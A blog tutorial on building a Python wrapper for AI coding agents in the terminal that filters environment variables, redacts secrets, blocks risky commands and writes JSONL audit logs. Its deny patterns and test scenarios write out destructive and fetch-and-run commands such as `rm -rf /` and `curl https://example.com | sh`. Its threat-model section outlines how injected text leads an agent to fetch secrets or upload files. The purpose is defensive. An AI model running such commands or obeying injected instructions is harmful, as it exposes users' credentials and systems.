How to Redact Secrets in an AI Coding CLI Tool [2026]
Build a universal “safe AI CLI wrapper” that sits in front of any coding agent, redacts secrets, enforces basic policies, and writes JSONL audit logs you can ship to a SIEM.
How to Redact Secrets in an AI Coding CLI Tool [2026]
If you’re trying to redact secrets in an AI coding CLI tool, stop looking for the “safest” agent like it’s a brand of baby food. The easiest win is a seatbelt. Put it in front of _every_ agent that runs in your terminal.

Here’s the prerequisite people miss: redaction alone does not stop data access. If the process can read ~/.aws/credentials or reach the open internet, you’re not “secure.” You’re just hoping the leak is nicely censored on the way out.
This tutorial walks through a pattern I’d ship on a real team: a safe AI CLI wrapper that sits in front of Claude Code, Aider, Copilot CLI, or your own agent. It filters environment variables, blocks sketchy file paths, allowlists outbound domains (with an OS-level enforcement option), and writes a structured JSONL audit trail.
What is a safe AI CLI wrapper
A safe AI CLI wrapper is a small program that launches an AI coding/agent CLI as a subprocess while enforcing policy (what env vars it receives, what files it should touch, what network it can reach) and recording an audit log of what it tried to do.

I’m going to be blunt. If you’re adopting AI agents in the terminal, this wrapper pattern is the minimum viable control plane. You do not need a heavyweight “agent platform” to get most of the benefit. You need one choke point you own.
Before we build anything, here’s the checklist I use.
Safe AI CLI wrapper checklist
- Env filtering. Only pass through safe env vars. Denylist common secret key prefixes.
- CLI arg scrubbing. Block or redact
--token,--api-key, etc. - Output redaction. Stream stdout/stderr while masking secrets. Also don’t deadlock.
- Filesystem policy. Allowlist repo roots, deny globs like
**/.env, optionally enforce read-only. - Outbound egress policy. Allowlist domains. Enforce with a proxy and/or an OS firewall.
- Structured audit log. JSONL events with timestamps, command, cwd, policy decisions, exit code.
- Break-glass approvals. Interactive prompts for high-risk actions.
The Problem With Allow-Lists
Allowlists are necessary. They are not sufficient.

Debashish Ghosal (creator of agent-tooltrust) calls this out bluntly in his post, including the field-testing mindset that most tool-permission systems avoid. He writes:
- “Zero mock agents. 83 real ones across 10 frameworks.”
- “It worked. 2,490 tests green. 83/83 agents passed.”
Source: Debashish Ghosal
Even if you don’t buy his whole architecture, the lesson is right: the integration points are where policy systems fail, not the “core idea.” Every framework has slightly different tool wiring, different shell behavior, different ways of smuggling context. That’s where your perfect allowlist turns into confetti.
In practice, teams ship “agent access control” that’s really just:
- allowlist a few commands
- trust the agent not to read random files
- hope nothing ends up in logs
That’s not a security model. That’s vibes.
If you want a CISO to say “yes,” you need layers.
Sarvar Nadaf describes an enterprise-facing model like this:
- “Layer 1: Investigation passes freely”
- “Layer 2: Dangerous commands get blocked”
- “Layer 3: Human approves the proper fix”
- plus “Audit trail: every action logged”
Source: Sarvar Nadaf
That’s the shape we’re going to copy. Not the specific product.
What I Built
I’m going to call the wrapper safeai. It’s a single entrypoint that looks like this:
safeai run -- aider ...safeai run -- claude ...
The wrapper does four jobs:
- Loads a repo policy file (YAML)
- Filters the environment passed to the child process
- Enforces “best-effort” filesystem + network controls locally
- Writes JSONL audit events for each run
One constraint you can’t wish away: a pure user-space wrapper cannot reliably stop a child process from reading any file your user account can read. If you need real containment, you need OS primitives. Container, VM, sandbox, MAC. Pick your poison.
So I’m going to give you two things:
- a practical wrapper that’s immediately useful
- plus the enforcement options that actually work (Linux namespaces/container, outbound firewall)
Policy file (YAML)
Create safeai.policy.yaml at your repo root:
version: 1
process:
# Optional: block running outside the repo root
require_cwd_under_policy_dir: true
env:
mode: allowlist # allowlist | denylist
allow:
- PATH
- HOME
- USER
- SHELL
- TERM
- LANG
- LC_ALL
- SSH_AUTH_SOCK
- GIT_SSH_COMMAND
- HTTPS_PROXY
- HTTP_PROXY
- NO_PROXY
deny_prefixes:
- AWS_
- GOOGLE_
- AZURE_
- OPENAI_
- ANTHROPIC_
- GITHUB_
- GITLAB_
deny:
- DATABASE_URL
- NPM_TOKEN
- PYPI_TOKEN
- SENTRY_AUTH_TOKEN
redaction:
# examples, not exhaustive
enabled: true
hash_salt_env: SAFEAI_HASH_SALT
patterns:
- name: github_classic_pat
regex: "ghp_[A-Za-z0-9]{36}"
- name: aws_access_key_id
regex: "AKIA[0-9A-Z]{16}"
filesystem:
allowed_roots:
- "." # policy-dir-relative
deny_globs:
- "**/.env"
- "**/.env.*"
- "**/id_rsa"
- "**/*.pem"
readonly: false
network:
allowed_domains:
- "api.anthropic.com"
- "api.openai.com"
- "pypi.org"
- "registry.npmjs.org"
enforce_mode: "os" # off | proxy | os
logging:
jsonl_path: ".safeai/audit.jsonl"That allowed_domains list is deliberately small. Default-deny is the whole point.
Layer 1: Investigation passes freely
Read-only investigation is the sweet spot for agentic AI.
You want the agent to be able to:
git log -10ripgrepthrough code- read config files _inside the repo_
But not:
- read your
~/.aws/credentials - read
~/.ssh/id_rsa curlrandom pastebins because a README told it to
Sarvar Nadaf’s “investigation passes freely” layer is basically: fast reads, no writes. The agent gets enough rope to be useful, not enough rope to redecorate your org chart.
In our wrapper, we’ll implement this as:
- require the current working directory under the policy file directory
- deny globs for obvious secret files
- optional
readonlymode (real enforcement requires sandboxing, see later)
Layer 2: Dangerous commands get blocked
This is where most “AI tool security” posts get cute and useless. They say “block dangerous commands” and then never define what dangerous means.
Here’s my rule: block obvious foot-guns that are rarely part of legitimate coding workflows.
Examples:
rm -rf /curl ... | shchmod -R 777git push --force(team-dependent)aws iam create-access-key(almost never needed in a coding session)
In a universal wrapper, you can’t perfectly parse every CLI under the sun. You can still catch the worst patterns reliably. And yes, you’ll annoy someone who has a “perfectly valid reason” to curl | sh. That annoyance is the feature.
Layer 3: Human approves the proper fix
If you want this wrapper to survive contact with a real team, you need a break-glass mechanism.
My baseline:
- if a command matches a deny pattern. Block hard.
- if a command matches a “needs approval” pattern. Prompt a human with a single y/n and log the decision.
This is the piece that keeps dev workflow sane. People don’t mind guardrails. They mind surprise roadblocks with no escape hatch.
For deeper patterns, read tool approval patterns and the broader agent orchestration work. The wrapper is the choke point. Approvals are the policy.
Audit trail: every action logged
“Audit trail: every action logged” is not enterprise theatre. It’s how you answer the only question that matters after an incident: “what did the agent actually do?”
Sarvar Nadaf uses that exact phrase in the Kiro Crew model.
In this wrapper we’ll log one JSONL event per run, and optionally per policy decision.
I like JSONL because:
- it’s append-only
- it’s greppable
- it’s easy to ship to a SIEM
If you want to go beyond JSONL, wire the same events into OpenTelemetry. I wrote a more complete schema in AI agent audit logs JSONL.
Audit event schema
Each event should include:
ts(RFC3339)id(uuid)cmd(argv array)cwdpolicy_pathenv_mode,env_passed_count,env_blocked_countredactions_applied(count + which detectors)fs_policysummary (allowed_roots, deny_globs, readonly)network_policysummary (allowed_domains, enforcement mode)exit_code
Concrete number: I always include counts. If a run “blocked 37 env vars,” you can actually do something with that.
Enterprise permissions config
This is where you stop thinking like a solo dev.
A good policy file:
- lives in the repo
- has code review like any other change
- is enforced in CI
This is the same lesson I learned building SOC 2 scaffolding at Rise People. Compliance baked into scaffolding beats compliance review at PR time. It’s cheaper, and it creates fewer weird, last-minute fights.
If you already have a repo standards pipeline, treat safeai.policy.yaml like a lint config. Mandatory, reviewed, versioned.
The Backend for Frontend (BFF) Pattern
You can’t “redact” your way out of bad secrets architecture.
Dwayne McDaniel (GitGuardian) is explicit about this:
- “Frontend applications (SPAs, mobile apps, desktop clients) cannot securely store secrets: any embedded API key is extractable…”
- “For production deployments, use a secrets manager … rather than environment variables to enable rotation and auditing.”
Source: Dwayne McDaniel
He also includes two stats that are worth repeating because they’re concrete:
- “Cybernews found in 2022 that 56% of Android apps … contained hardcoded secrets…”
- “A similar study in 2025 concluded … over 815,000 secrets harvested from 156,000+ apps (71% leaking at least one credential).”
Same source.
In our CLI world, the equivalent of a BFF is: don’t hand the agent your real prod keys.
Use:
- short-lived tokens
- scoped service accounts
- a local “broker” that can proxy a small set of operations
That’s how you survive prompt injection without turning your dev machines into blast-radius generators.
Implementation: Securing the BFF
For a terminal wrapper, “BFF” means one of two things:
- a local HTTP proxy that injects credentials server-side
- a tiny local API that performs a limited set of actions (capabilities) on behalf of the agent
I’m not going to pretend you can build this in 10 minutes. But the security story is clean.
A concrete step you can do today:
- run your agent with no cloud credentials in env
- point it at a local broker that enforces scope
That scope can be as simple as: “only allow GET /repos/{org}/{repo}/pulls” instead of “here’s a GitHub token, please behave.”
Hardening the BFF Layer
This is where most teams should land:
- secrets live in a secrets manager
- dev machines pull short-lived creds
- the agent only gets the minimum capability per session
Even without a broker, you can do a lot by separating profiles:
~/.config/safeai/profiles/no-secrets.env~/.config/safeai/profiles/build-only.env
And forcing the wrapper to run under a profile.
A reference implementation (Python)
This section is long because it’s the whole point. You should be able to paste this into a repo and get value immediately.
This implementation fixes three common “tutorial code” bugs:
- avoids stdout/stderr deadlock by multiplexing reads
- uses sane argparse passthrough
- resolves log paths relative to the policy file
It also implements:
- env allowlist/denylist
- deny globs (with
pathlib.Path.matchsemantics) - basic dangerous-command pattern blocking
- JSONL audit log
- optional interactive approval
It does not claim to fully sandbox the process. For real filesystem containment, see the next section.
#!/usr/bin/env python3
import argparse
import datetime as dt
import hashlib
import json
import os
import re
import selectors
import subprocess
import sys
import uuid
from dataclasses import dataclass
from pathlib import Path
try:
import yaml
except ImportError:
print("Missing dependency: pyyaml. Install with: pip install pyyaml", file=sys.stderr)
raise
@dataclass
class Policy:
path: Path
raw: dict
def load_policy(policy_path: Path) -> Policy:
raw = yaml.safe_load(policy_path.read_text("utf-8"))
if not isinstance(raw, dict) or raw.get("version") != 1:
raise ValueError("policy version must be 1")
return Policy(path=policy_path, raw=raw)
def resolve_log_path(policy: Policy) -> Path:
rel = policy.raw.get("logging", {}).get("jsonl_path", ".safeai/audit.jsonl")
p = (policy.path.parent / rel).resolve()
p.parent.mkdir(parents=True, exist_ok=True)
return p
def filter_env(policy: Policy, parent_env: dict[str, str]) -> tuple[dict[str, str], list[str]]:
cfg = policy.raw.get("env", {})
mode = cfg.get("mode", "allowlist")
allow = set(cfg.get("allow", []))
deny = set(cfg.get("deny", []))
deny_prefixes = tuple(cfg.get("deny_prefixes", []))
blocked = []
out = {}
for k, v in parent_env.items():
if k in deny or any(k.startswith(pfx) for pfx in deny_prefixes):
blocked.append(k)
continue
if mode == "allowlist":
if k in allow:
out[k] = v
else:
blocked.append(k)
else:
out[k] = v
return out, blocked
def compile_redactors(policy: Policy):
cfg = policy.raw.get("redaction", {})
if not cfg.get("enabled", True):
return []
patterns = cfg.get("patterns", [])
compiled = []
for p in patterns:
name = p.get("name")
rx = p.get("regex")
if name and rx:
compiled.append((name, re.compile(rx)))
return compiled
def redact_text(text: str, redactors, salt: str | None) -> tuple[str, int, set[str]]:
count = 0
used = set()
def repl(match: re.Match, name: str):
nonlocal count
count += 1
used.add(name)
s = match.group(0)
if salt:
h = hashlib.sha256((salt + s).encode("utf-8")).hexdigest()[:10]
return f"<redacted:{name}:{h}>"
return f"<redacted:{name}:len={len(s)}>"
out = text
for name, rx in redactors:
out = rx.sub(lambda m, n=name: repl(m, n), out)
return out, count, used
def require_cwd(policy: Policy):
req = policy.raw.get("process", {}).get("require_cwd_under_policy_dir", True)
if not req:
return
cwd = Path.cwd().resolve()
base = policy.path.parent.resolve()
if base not in cwd.parents and cwd != base:
raise SystemExit(f"Refusing to run outside policy dir. cwd={cwd} policy_dir={base}")
def fs_violation(policy: Policy) -> list[str]:
# Best-effort: detect obvious secret files in repo that an agent might read.
# Real containment requires sandboxing.
cfg = policy.raw.get("filesystem", {})
deny_globs = cfg.get("deny_globs", [])
violations = []
base = policy.path.parent.resolve()
for g in deny_globs:
# Find matching paths under repo
for p in base.rglob("*"):
rel = p.relative_to(base)
if rel.match(g):
violations.append(str(rel))
break
return violations
def is_dangerous(argv: list[str]) -> tuple[bool, str | None]:
joined = " ".join(argv)
deny = [
(r"\brm\s+-rf\s+/\b", "rm -rf /"),
(r"\bcurl\b.*\|\s*sh\b", "curl | sh"),
(r"\bwget\b.*\|\s*sh\b", "wget | sh"),
(r"\bchmod\b.*-R\s+777\b", "chmod -R 777"),
]
for rx, label in deny:
if re.search(rx, joined):
return True, label
return False, None
def maybe_approve(policy: Policy, reason: str, argv: list[str]) -> bool:
# Minimal approval flow.
cfg = policy.raw.get("approvals", {})
if not cfg.get("enabled", False):
return True
print(f"Approval required: {reason}", file=sys.stderr)
print("Command:", " ".join(argv), file=sys.stderr)
ans = input("Allow? [y/N] ").strip().lower()
return ans == "y"
def run_child(policy: Policy, argv: list[str]) -> dict:
require_cwd(policy)
dangerous, label = is_dangerous(argv)
if dangerous:
ok = maybe_approve(policy, f"dangerous pattern: {label}", argv)
if not ok:
raise SystemExit(f"Blocked by policy: {label}")
env, blocked_env = filter_env(policy, os.environ)
redactors = compile_redactors(policy)
salt_env = policy.raw.get("redaction", {}).get("hash_salt_env", "SAFEAI_HASH_SALT")
salt = os.environ.get(salt_env)
log_path = resolve_log_path(policy)
# Best-effort repo scan for denied globs.
denied_hits = fs_violation(policy)
event_id = str(uuid.uuid4())
start = dt.datetime.now(dt.timezone.utc)
p = subprocess.Popen(
argv,
stdin=None,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
bufsize=1,
env=env,
)
sel = selectors.DefaultSelector()
sel.register(p.stdout, selectors.EVENT_READ, data="stdout")
sel.register(p.stderr, selectors.EVENT_READ, data="stderr")
redaction_count = 0
redaction_detectors = set()
while True:
for key, _ in sel.select(timeout=0.1):
stream = key.fileobj
kind = key.data
chunk = stream.readline()
if chunk == "":
sel.unregister(stream)
continue
out, c, used = redact_text(chunk, redactors, salt)
redaction_count += c
redaction_detectors |= used
target = sys.stdout if kind == "stdout" else sys.stderr
target.write(out)
target.flush()
if p.poll() is not None and not sel.get_map():
break
end = dt.datetime.now(dt.timezone.utc)
audit = {
"ts": start.isoformat(),
"id": event_id,
"cmd": argv,
"cwd": str(Path.cwd().resolve()),
"policy_path": str(policy.path),
"env": {
"mode": policy.raw.get("env", {}).get("mode", "allowlist"),
"passed": len(env),
"blocked": len(blocked_env),
},
"filesystem": {
"allowed_roots": policy.raw.get("filesystem", {}).get("allowed_roots", []),
"deny_globs": policy.raw.get("network", {}).get("deny_globs", policy.raw.get("filesystem", {}).get("deny_globs", [])),
"readonly": bool(policy.raw.get("filesystem", {}).get("readonly", False)),
"deny_glob_hits": denied_hits[:20],
"deny_glob_hits_count": len(denied_hits),
},
"network": {
"allowed_domains": policy.raw.get("network", {}).get("allowed_domains", []),
"enforce_mode": policy.raw.get("network", {}).get("enforce_mode", "off"),
},
"redaction": {
"applied": redaction_count,
"detectors": sorted(redaction_detectors),
},
"exit_code": p.returncode,
"duration_ms": int((end - start).total_seconds() * 1000),
}
log_path.write_text("", encoding="utf-8") if not log_path.exists() else None
with log_path.open("a", encoding="utf-8") as f:
f.write(json.dumps(audit) + "\n")
return audit
def main():
ap = argparse.ArgumentParser(prog="safeai")
ap.add_argument("--policy", default="safeai.policy.yaml")
sub = ap.add_subparsers(dest="subcmd", required=True)
run = sub.add_parser("run")
run.add_argument("command", nargs=argparse.REMAINDER, help="Command to run. Use -- to end safeai flags.")
args = ap.parse_args()
policy_path = Path(args.policy).resolve()
if not policy_path.exists():
raise SystemExit(f"Policy not found: {policy_path}")
policy = load_policy(policy_path)
if args.subcmd == "run":
argv = args.command
if argv and argv[0] == "--":
argv = argv[1:]
if not argv:
raise SystemExit("No command provided")
run_child(policy, argv)
if __name__ == "__main__":
main()Authoritative reference for subprocess behavior: the Python subprocess documentation.
How to restrict an agent’s filesystem access on your machine
This is the part people hand-wave. I won’t.
A wrapper can:
- refuse to run outside the repo
- detect/deny obvious secret paths
- run the agent with a different user
But it can’t stop the process from reading other files if it has OS permissions.
For real containment, you need one of:
- a container (Docker/Podman) with a bind mount of your repo
- a VM (my preference for high-risk work)
- Linux namespaces (
unshare) + a private mount namespace
If you’re on Linux and want to go low-level, unshare(2) is the syscall that disassociates namespaces. Docs: unshare(2).
If you want the easy button, I’d rather you run the agent inside a repo-scoped container than pretend a Python wrapper is a sandbox.
Also: if you’re serious about this topic, read my AI agent sandbox Linux VM setup.
How can I allowlist outbound domains for a CLI tool?
Two realities:
- Setting
HTTP_PROXYis configuration, not enforcement. - Real enforcement is an OS firewall rule.
If you want a practical OS-level solution on Linux, OpenSnitch exists specifically for outbound filtering. Their README describes it as:
- “OpenSnitch is a GNU/Linux application firewall.”
- “Interactive outbound connections filtering.”
Source: OpenSnitch README
My recommended setup is:
- run your agent via
safeai - enforce outbound policy via OpenSnitch rules (or nftables directly)
- keep
allowed_domainsin policy as documentation and for proxy-mode setups
If you’re in a corporate environment, do this centrally on an egress proxy and log it.
Threat model: prompt injection + tool exfiltration
Yes, prompt injection can cause data exfiltration if the agent has tools.
The kill chain is boring:
- the agent reads something untrusted (issue text, README, web page)
- the text instructs it to fetch secrets / run commands / upload files
- the agent complies because “tools are available”
Your wrapper helps because:
- it reduces what secrets exist in env
- it constrains where the agent is supposed to operate
- it gives you an audit trail
It does not help if you hand it prod creds and let it talk to the open internet.
That’s why I treat this as part of AI security and LLM security, not a cute redaction trick.
How do you test that your wrapper actually blocks reads/writes/network egress?
If you don’t test this, you’re writing security fan fiction.
Debashish Ghosal’s “83 real agents… zero mocks” line is the right instinct. In a smaller project, you can copy the mindset with a scenario pack.
Here’s a simple regression pack I’d start with (at least 7 scenarios):
- Agent prints a fake
ghp_...token. Verify it’s redacted. - Agent prints a fake
AKIA...key. Verify it’s redacted. - Agent tries to read
./.env. Verify wrapper logsdeny_glob_hits. - Agent tries to run
curl https://example.com | sh. Verify block/approval. - Agent tries to run outside repo root. Verify refusal.
- Agent tries to access network when OS firewall denies. Verify failure is logged.
- Agent writes huge stderr output. Verify wrapper doesn’t deadlock.
If you’re already investing in evals, tie this into your existing harness. See AI engineering evals and agent evaluation harness.
What I Learned
A “safe AI CLI wrapper” is not a silver bullet. It’s a control point.
The best thing about the wrapper pattern is that it doesn’t care which agent framework wins. Whether your team is into Claude Code, Aider, or the next MCP-powered thing, the terminal is still where secrets and compliance problems happen.
My prediction: within 12 months, enterprises will treat “agent audit logs” the way they treat CI logs today. Not optional. A contract.
If you’re building or adopting AI coding tools internally, do the unsexy thing. Put the seatbelt on first. Then go faster.
Photo by Bernd 📷 Dittrich on Unsplash.
Frequently Asked Questions
How do I prevent my AI coding assistant from leaking API keys?
Start by not giving it real keys. Run the agent under a wrapper that passes only safe environment variables, redacts secrets from output, and blocks risky commands. For anything production-sensitive, use short-lived tokens or a small broker service instead of long-lived API keys.
How can I redact secrets from terminal output and logs?
Redact at the point where output is produced and captured. Stream stdout and stderr from the subprocess, run a set of secret detectors (exact matches and regexes), and replace matches with stable placeholders. Log counts and detector names so you can see what was redacted without storing the secret.
Is an allowlist enough to secure AI agents?
No. Allowlists help, but they don’t address context, approvals, or auditability. You want layers: read-only investigation by default, blocks or approvals for risky actions, and an audit trail for every run. Real containment also requires OS-level sandboxing and egress controls, not just app logic.
Kunal Ganglani (2026, August 17). How to Redact Secrets in an AI Coding CLI Tool [2026]. Kunal Ganglani. Retrieved August 18, 2026, from https://www.kunalganglani.com/blog/redact-secrets-ai-cli



Comments